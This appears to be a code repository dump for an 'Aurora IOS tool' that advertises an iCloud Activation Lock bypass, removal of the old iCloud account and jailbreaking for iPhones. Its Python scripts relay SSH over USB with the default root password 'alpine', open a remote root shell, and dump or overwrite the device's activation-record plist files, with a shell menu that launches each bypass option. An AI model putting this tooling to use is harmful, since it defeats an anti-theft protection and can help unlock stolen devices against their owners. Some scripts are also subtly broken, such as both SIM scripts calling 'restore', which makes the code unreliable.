120 | print("Aurora Shell to IOS by Toni.Dev")
121 | server = PhoneConnect()
122 |
123 | thread = Thread(target=server.start)
124 | thread.start()
125 |
126 | host = "localhost"
127 | user = "root"
128 | secret = "alpine"
129 | port = 2222
130 | while True:
131 | command = input("$ ")
132 | if command == "exit":
133 | break
134 | client = paramiko.SSHClient()
135 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
136 | try:
137 | client.connect(hostname=host, username=user, password=secret, port=port)
138 | client.exec_command(command)
139 | except paramiko.ssh_exception.AuthenticationException:
140 | print("Authentication failed")
141 | except paramiko.ssh_exception.NoValidConnectionsError:
142 | print("Failed to establish connection with the server")
143 |
144 | print("Done!")
145 |
146 | thread.join()
--------------------------------------------------------------------------------
/source/scripts/sim.py:
--------------------------------------------------------------------------------
1 | import socketserver
2 | import paramiko
3 | import usbmux
4 | import select
5 | import sys
6 | from threading import Thread
7 | from socket import socket
8 |
9 |
10 | class SocketRelay(object):
11 |
12 | def __init__(self, a: socket, b: socket, max_buffer: int = 65535):
13 | self.a = a
14 | self.b = b
15 | self.atob = bytes()
16 | self.btoa = bytes()
17 | self.max_buffer = max_buffer
18 |
19 | def handle(self) -> None:
20 | while True:
21 | rlist = list()
22 | wlist = list()
23 | xlist = [self.a, self.b]
24 | if self.atob:
25 | wlist.append(self.b)
26 | if self.btoa:
27 | wlist.append(self.a)
28 | if len(self.atob) < self.max_buffer:
29 | rlist.append(self.a)
30 | if len(self.btoa) < self.max_buffer:
31 | rlist.append(self.b)
32 | rlo, wlo, xlo = select.select(rlist, wlist, xlist)
33 | if xlo:
34 | return
35 | if self.a in wlo:
36 | n = self.a.send(self.btoa)
37 | self.btoa = self.btoa[n:]
38 | if self.b in wlo:
39 | n = self.b.send(self.atob)
40 | self.atob = self.atob[n:]
41 | if self.a in rlo:
42 | s = self.a.recv(self.max_buffer - len(self.atob))
43 | if not s:
44 | return
45 | self.atob += s
46 | if self.b in rlo:
47 | s = self.b.recv(self.max_buffer - len(self.btoa))
48 | if not s:
49 | return
50 | self.btoa += s
51 |
52 |
53 | class TCPRelay(socketserver.BaseRequestHandler):
54 | def handle(self) -> None:
55 | print("Incoming connection to %d" % self.server.server_address[1])
56 | mux = usbmux.USBMux(None)
57 | print("Waiting for devices...")
58 | if not mux.devices:
59 | mux.process(1.0)
60 | if not mux.devices:
61 | print("No device found")
62 | self.request.close()
63 | return
64 | dev = mux.devices[0]
65 | print("Connecting to device %s" % str(dev))
66 | d_sock = mux.connect(dev, self.server.r_port)
67 | l_sock = self.request
68 | print("Connection established, relaying data")
69 | try:
70 | fwd = SocketRelay(d_sock, l_sock, self.server.buffer_size * 1024)
71 | fwd.handle()
72 | finally:
73 | d_sock.close()
74 | l_sock.close()
75 | print("Connection closed")
76 |
77 |
78 | class TCPServer(socketserver.TCPServer):
79 | allow_reuse_address = True
80 |
81 |
82 | class ThreadedTCPServer(socketserver.ThreadingMixIn, TCPServer):
83 | allow_reuse_address = True
84 |
85 |
86 | class PhoneConnect:
87 |
88 | def __init__(self,
89 | host: str = "localhost", mobile_port: int = 44, computer_port: int = 2222, buffer_size: int = 128):
90 | self.host = host
91 | self.mobile_port = mobile_port
92 | self.computer_port = computer_port
93 | self.buffer_size = buffer_size
94 |
95 | def start(self) -> None:
96 |
97 | servers = list()
98 | ports = [(self.mobile_port, self.computer_port)]
99 |
100 | for r_port, l_port in ports:
101 | print(f"Forwarding local port {l_port} to remote port {r_port}")
102 | server = ThreadedTCPServer((self.host, l_port), TCPRelay)
103 | server.r_port = r_port
104 | server.buffer_size = self.buffer_size
105 | servers.append(server)
106 |
107 | alive = True
108 |
109 | while alive:
110 | try:
111 | rl, wl, xl = select.select(servers, [], [])
112 | for server in rl:
113 | server.handle_request()
114 | except KeyboardInterrupt:
115 | print("Server stopped")
116 | except Exception:
117 | alive = False
118 |
119 |
120 | if __name__ == '__main__':
121 | print("Aurora remove old icloud by Toni.Dev")
122 | server = PhoneConnect()
123 |
124 | thread = Thread(target=server.start)
125 | thread.start()
126 | # get args if we dump from a device or to a device
127 | args = sys.argv
128 | arg = args[1]
129 | host = "localhost"
130 | user = "root"
131 | secret = "alpine"
132 | port = 2222
133 | paths = ["/var/root/library/lockdown/data_ark.plist","/var/containers/data/system/com.apple.mobileactivationd/library/internal/data_ark.plist","/var/containers/data/system/com.apple.mobileactivationd/library/activation_records/activation_record.plist"]
134 | local_paths = ['lockdown_data_ark.plist','internal_data_ark.plist','activation_record.plist']
135 | client = paramiko.SSHClient()
136 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
137 | try:
138 | client.connect(hostname=host, username=user, password=secret, port=port)
139 | sftp = client.open_sftp()
140 | if arg == "dump":
141 | for path in paths:
142 | sftp.get(path,local_paths[paths.index(path)],)
143 | elif arg == "restore":
144 | for path in paths:
145 | sftp.put(local_paths[paths.index(path)],path)
146 | sftp.close()
147 | except paramiko.ssh_exception.AuthenticationException:
148 | print("Authentication failed")
149 | except paramiko.ssh_exception.NoValidConnectionsError:
150 | print("Failed to establish connection with the server")
151 |
152 | client.close()
153 | print("Done!")
154 |
155 | thread.join()
156 |
--------------------------------------------------------------------------------
/source/scripts/usbmux.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | # -*- coding: utf-8 -*-
3 |
4 | import sys
5 | import socket
6 | import struct
7 | import select
8 | import plistlib
9 |
10 |
11 | have_plist = True
12 |
13 |
14 | class MuxError(Exception):
15 | pass
16 |
17 |
18 | class MuxVersionError(MuxError):
19 | pass
20 |
21 |
22 | class SafeStreamSocket:
23 |
24 | def __init__(self, address: str, family: 'AddressFamily'):
25 | self.sock = socket.socket(family, socket.SOCK_STREAM)
26 | self.sock.connect(address)
27 |
28 | def send(self, msg: bytes) -> None:
29 | total_sent = 0
30 | while total_sent < len(msg):
31 | sent = self.sock.send(msg[total_sent:])
32 | if sent == 0:
33 | raise MuxError("socket connection broken")
34 | total_sent = total_sent + sent
35 |
36 | def recv(self, size: int) -> bytes:
37 | msg = bytes()
38 | while len(msg) < size:
39 | chunk = self.sock.recv(size - len(msg))
40 | if chunk == b'':
41 | raise MuxError("socket connection broken")
42 | msg = msg + chunk
43 | return msg
44 |
45 |
46 | class MuxDevice(object):
47 |
48 | def __init__(self, devid: int, usbprod: int, serial: str, location: int):
49 | self.devid = devid
50 | self.usbprod = usbprod
51 | self.serial = serial
52 | self.location = location
53 |
54 | def __str__(self):
55 | return f"" % (
56 | self.devid, self.usbprod, self.serial, self.location)
57 |
58 |
59 | class BinaryProtocol(object):
60 |
61 | TYPE_RESULT = 1
62 | TYPE_CONNECT = 2
63 | TYPE_LISTEN = 3
64 | TYPE_DEVICE_ADD = 4
65 | TYPE_DEVICE_REMOVE = 5
66 | VERSION = 0
67 |
68 | def __init__(self, socket: socket):
69 | self.socket = socket
70 | self.connected = False
71 |
72 | def _pack(self, req, payload):
73 | if req == self.TYPE_CONNECT:
74 | return struct.pack("IH", payload['DeviceID'], payload['PortNumber']) + b"\x00\x00"
75 | elif req == self.TYPE_LISTEN:
76 | return bytes()
77 | else:
78 | raise ValueError(f"Invalid outgoing request type {req}")
79 |
80 | def _unpack(self, resp, payload):
81 | if resp == self.TYPE_RESULT:
82 | return {'Number': struct.unpack("I", payload)[0]}
83 | elif resp == self.TYPE_DEVICE_ADD:
84 | dev_id, usb_pid, serial, pad, location = struct.unpack("IH256sHI", payload)
85 | serial = serial.split(b"\0")[0]
86 | return {'DeviceID': dev_id,
87 | 'Properties': {'LocationID': location, 'SerialNumber': serial, 'ProductID': usb_pid}}
88 | elif resp == self.TYPE_DEVICE_REMOVE:
89 | dev_id = struct.unpack("I", payload)[0]
90 | return {'DeviceID': dev_id}
91 | else:
92 | raise MuxError("Invalid incoming request type")
93 |
94 | def send_packet(self, req, tag, payload=None):
95 | if payload is None:
96 | payload = {}
97 | payload = self._pack(req, payload)
98 | if self.connected:
99 | raise MuxError("Mux is connected, cannot issue control packets")
100 | length = 16 + len(payload)
101 | data = struct.pack("IIII", length, self.VERSION, req, tag) + payload
102 | self.socket.send(data)
103 |
104 | def get_packet(self):
105 | if self.connected:
106 | raise MuxError("Mux is connected, cannot issue control packets")
107 | d_len = self.socket.recv(4)
108 | d_len = struct.unpack("I", d_len)[0]
109 | body = self.socket.recv(d_len - 4)
110 | version, resp, tag = struct.unpack("III", body[:0xc])
111 | if version != self.VERSION:
112 | raise MuxVersionError(f"Version mismatch: expected {self.VERSION}, got {version}")
113 | payload = self._unpack(resp, body[0xc:])
114 | return resp, tag, payload
115 |
116 |
117 | class PlistProtocol(BinaryProtocol):
118 |
119 | TYPE_RESULT = "Result"
120 | TYPE_CONNECT = "Connect"
121 | TYPE_LISTEN = "Listen"
122 | TYPE_DEVICE_ADD = "Attached"
123 | TYPE_DEVICE_REMOVE = "Detached"
124 | TYPE_PLIST = 8
125 | VERSION = 1
126 |
127 | def __init__(self, socket: socket):
128 | if not have_plist:
129 | raise Exception("You need the plistlib module")
130 | BinaryProtocol.__init__(self, socket)
131 |
132 | def _pack(self, req, payload: bytes) -> bytes:
133 | return payload
134 |
135 | def _unpack(self, resp, payload: bytes) -> bytes:
136 | return payload
137 |
138 | def send_packet(self, req, tag, payload=None) -> None:
139 | if payload is None:
140 | payload = {}
141 | payload['ClientVersionString'] = 'usbmux.py'
142 | if isinstance(req, int):
143 | req = [self.TYPE_CONNECT, self.TYPE_LISTEN][req - 2]
144 | payload['MessageType'] = req
145 | payload['ProgName'] = 'tcprelay'
146 | BinaryProtocol.send_packet(self, self.TYPE_PLIST, tag, plistlib.dumps(payload))
147 |
148 | def get_packet(self) -> tuple:
149 | resp, tag, payload = BinaryProtocol.get_packet(self)
150 | if resp != self.TYPE_PLIST:
151 | raise MuxError(f"Received non-plist type {resp}")
152 | payload = plistlib.loads(payload)
153 | return payload['MessageType'], tag, payload
154 |
155 |
156 | class MuxConnection(object):
157 |
158 | def __init__(self, socketpath: str, protoclass: type):
159 | self.socketpath = socketpath
160 | if sys.platform in ['win32', 'cygwin']:
161 | family = socket.AF_INET
162 | address = ('127.0.0.1', 27015)
163 | else:
164 | family = socket.AF_UNIX
165 | address = self.socketpath
166 | self.socket = SafeStreamSocket(address, family)
167 | self.proto = protoclass(self.socket)
168 | self.pkttag = 1
169 | self.devices = list()
170 |
171 | def _getreply(self) -> tuple or None:
172 | while True:
173 | resp, tag, data = self.proto.get_packet()
174 | if resp == self.proto.TYPE_RESULT:
175 | return tag, data
176 | else:
177 | raise MuxError(f"Invalid packet type received: {resp}")
178 |
179 | def _processpacket(self) -> None:
180 | resp, tag, data = self.proto.get_packet()
181 | if resp == self.proto.TYPE_DEVICE_ADD:
182 | self.devices.append(
183 | MuxDevice(data['DeviceID'], data['Properties']['ProductID'], data['Properties']['SerialNumber'],
184 | data['Properties']['LocationID']))
185 | elif resp == self.proto.TYPE_DEVICE_REMOVE:
186 | for item in self.devices:
187 | if item.devid == data['DeviceID']:
188 | self.devices.remove(item)
189 | elif resp == self.proto.TYPE_RESULT:
190 | raise MuxError(f"Unexpected result: {resp}")
191 | else:
192 | raise MuxError(f"Invalid packet type received: {resp}")
193 |
194 | def _exchange(self, req: str, payload: dict = None) -> str:
195 | if payload is None:
196 | payload = {}
197 | mytag = self.pkttag
198 | self.pkttag += 1
199 | self.proto.send_packet(req, mytag, payload)
200 | recvtag, data = self._getreply()
201 | if recvtag != mytag:
202 | raise MuxError(f"Reply tag mismatch: expected {mytag}, got {recvtag}")
203 | return data['Number']
204 |
205 | def listen(self) -> None:
206 | ret = self._exchange(self.proto.TYPE_LISTEN)
207 | if ret != 0:
208 | raise MuxError(f"Listen failed: error {ret}")
209 |
210 | def process(self, timeout: int or float = None) -> None:
211 | if self.proto.connected:
212 | raise MuxError("Socket is connected, cannot process listener events")
213 | rlo, wlo, xlo = select.select([self.socket.sock], [], [self.socket.sock], timeout)
214 | if xlo:
215 | self.socket.sock.close()
216 | raise MuxError("Exception in listener socket")
217 | if rlo:
218 | self._processpacket()
219 |
220 | def connect(self, device: MuxDevice, port: int) -> socket:
221 | ret = self._exchange(self.proto.TYPE_CONNECT,
222 | {'DeviceID': device.devid, 'PortNumber': ((port << 8) & 0xFF00) | (port >> 8)})
223 | if ret != 0:
224 | raise MuxError(f"Connect failed: error {ret}")
225 | self.proto.connected = True
226 | return self.socket.sock
227 |
228 | def close(self) -> None:
229 | self.socket.sock.close()
230 |
231 |
232 | class USBMux(object):
233 |
234 | def __init__(self, socket_path: str = None):
235 | if socket_path is None:
236 | if sys.platform == 'darwin':
237 | socket_path = "/var/run/usbmuxd"
238 | else:
239 | socket_path = "/var/run/usbmuxd"
240 | self.socketpath = socket_path
241 | self.listener = MuxConnection(socket_path, BinaryProtocol)
242 | try:
243 | self.listener.listen()
244 | self.version = 0
245 | self.protoclass = BinaryProtocol
246 | except MuxVersionError:
247 | self.listener = MuxConnection(socket_path, PlistProtocol)
248 | self.listener.listen()
249 | self.protoclass = PlistProtocol
250 | self.version = 1
251 | self.devices = self.listener.devices
252 |
253 | def process(self, timeout=None) -> None:
254 | self.listener.process(timeout)
255 |
256 | def connect(self, device, port) -> socket:
257 | connector = MuxConnection(self.socketpath, self.protoclass)
258 | return connector.connect(device, port)
259 |
260 |
261 | if __name__ == "__main__":
262 | mux = USBMux()
263 | print("Waiting for devices...")
264 | if not mux.devices:
265 | mux.process(0.1)
266 | while True:
267 | print("Devices:")
268 | for dev in mux.devices:
269 | print(dev)
270 | mux.process()
271 |
--------------------------------------------------------------------------------
/source/simfrom.sh:
--------------------------------------------------------------------------------
1 | echo "Aurora IOS SIM CARD DUMP FROM"
2 | echo "Checking for python3..."
3 | if ! [ -x "$(command -v python3)" ]; then
4 | echo 'Error: python3 is not installed.' >&2
5 | exit 1
6 | else
7 | echo "python3 is installed"
8 | fi
9 | echo "Checking for pip3..."
10 | if ! [ -x "$(command -v pip3)" ]; then
11 | echo 'Error: pip3 is not installed.' >&2
12 | exit 1
13 | else
14 | echo "pip3 is installed"
15 | fi
16 | echo "Installing required libs..."
17 | sudo pip3 install paramiko
18 | echo "Launching shell"
19 | python3 ./source/scripts/sim.py restore
20 |
--------------------------------------------------------------------------------
/source/simto.sh:
--------------------------------------------------------------------------------
1 | echo "Aurora IOS SIM CARD DUMP TO"
2 | echo "Checking for python3..."
3 | if ! [ -x "$(command -v python3)" ]; then
4 | echo 'Error: python3 is not installed.' >&2
5 | exit 1
6 | else
7 | echo "python3 is installed"
8 | fi
9 | echo "Checking for pip3..."
10 | if ! [ -x "$(command -v pip3)" ]; then
11 | echo 'Error: pip3 is not installed.' >&2
12 | exit 1
13 | else
14 | echo "pip3 is installed"
15 | fi
16 | echo "Installing required libs..."
17 | sudo pip3 install paramiko
18 | echo "Launching shell"
19 | python3 ./source/scripts/sim.py restore
20 |
--------------------------------------------------------------------------------
/start.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | # Renders a text based list of options that can be selected by the
4 | # user using up, down and enter keys and returns the chosen option.
5 | #
6 | # Arguments : list of options, maximum of 256
7 | # "opt1" "opt2" ...
8 | # Return value: selected index (0 for opt1, 1 for opt2 ...)
9 | function select_option {
10 |
11 | # little helpers for terminal print control and key input
12 | ESC=$( printf "\033")
13 | cursor_blink_on() { printf "$ESC[?25h"; }
14 | cursor_blink_off() { printf "$ESC[?25l"; }
15 | cursor_to() { printf "$ESC[$1;${2:-1}H"; }
16 | print_option() { printf " $1 "; }
17 | print_selected() { printf " $ESC[7m $1 $ESC[27m"; }
18 | get_cursor_row() { IFS=';' read -sdR -p $'\E[6n' ROW COL; echo ${ROW#*[}; }
19 | key_input() { read -s -n3 key 2>/dev/null >&2
20 | if [[ $key = $ESC[A ]]; then echo up; fi
21 | if [[ $key = $ESC[B ]]; then echo down; fi
22 | if [[ $key = "" ]]; then echo enter; fi; }
23 |
24 | # initially print empty new lines (scroll down if at bottom of screen)
25 | for opt; do printf "\n"; done
26 |
27 | # determine current screen position for overwriting the options
28 | local lastrow=`get_cursor_row`
29 | local startrow=$(($lastrow - $#))
30 |
31 | # ensure cursor and input echoing back on upon a ctrl+c during read -s
32 | trap "cursor_blink_on; stty echo; printf '\n'; exit" 2
33 | cursor_blink_off
34 |
35 | local selected=0
36 | while true; do
37 | # print options by overwriting the last lines
38 | local idx=0
39 | for opt; do
40 | cursor_to $(($startrow + $idx))
41 | if [ $idx -eq $selected ]; then
42 | print_selected "$opt"
43 | else
44 | print_option "$opt"
45 | fi
46 | ((idx++))
47 | done
48 |
49 | # user key control
50 | case `key_input` in
51 | enter) break;;
52 | up) ((selected--));
53 | if [ $selected -lt 0 ]; then selected=$(($# - 1)); fi;;
54 | down) ((selected++));
55 | if [ $selected -ge $# ]; then selected=0; fi;;
56 | esac
57 | done
58 |
59 | # cursor position back to normal
60 | cursor_to $lastrow
61 | printf "\n"
62 | cursor_blink_on
63 |
64 | return $selected
65 | }
66 | chmod +x ./source/exe/jk
67 | echo "Welcome to Aurora IOS tool, github.com/Toni-d-e-v/Icloud-Unlocker/"
68 | echo "We are not responsible for any damage done to your device"
69 | echo "WE CANT GUARANTEE UNLOCK, ON SOME DEVICES IT WILL WORK ON SOME NOT!!!!!"
70 | echo "Features: Bypass Activation lock, Remove old icloud account, root shell to Idevice, Jailbreak the device"
71 | echo "Select one option using up/down keys and enter to confirm:"
72 | echo
73 | chmod +x ./source/exe/jk
74 | options=( "Icloud bypass IOS 12.3-13.2.3! NO SIM CARD (AUTOMATIC ONE)" "newPHP ICLOUD BYPASS WITH SIM " "Removes old icloud account conected to the device (JAILBREAK REQUIRED)" "Jailbreak the device" "Exit")
75 |
76 | select_option "${options[@]}"
77 | choice=$?
78 |
79 | echo "Choosen = $choice"
80 |
81 | echo "Launching selected option..."
82 | if [ $choice = "0" ]; then
83 | clear
84 | chmod +x ./source/ibypass.sh
85 | ./source/ibypass.sh
86 | elif [ $choice = "1" ]; then
87 | clear
88 | chmod +x ./source/php.sh
89 | ./source/php.sh
90 | elif [ $choice = "2" ]; then
91 | clear
92 | chmod +x ./source/rm_oldicloud.sh
93 | ./source/rm_oldicloud.sh
94 | elif [ $choice = "3" ]; then
95 | clear
96 | chmod +x ./source/jailbreak.sh
97 | ./source/jailbreak.sh
98 | else
99 | echo "Exiting..."
100 | clear
101 | echo "Bye!"
102 | exit
103 | fi
104 |
--------------------------------------------------------------------------------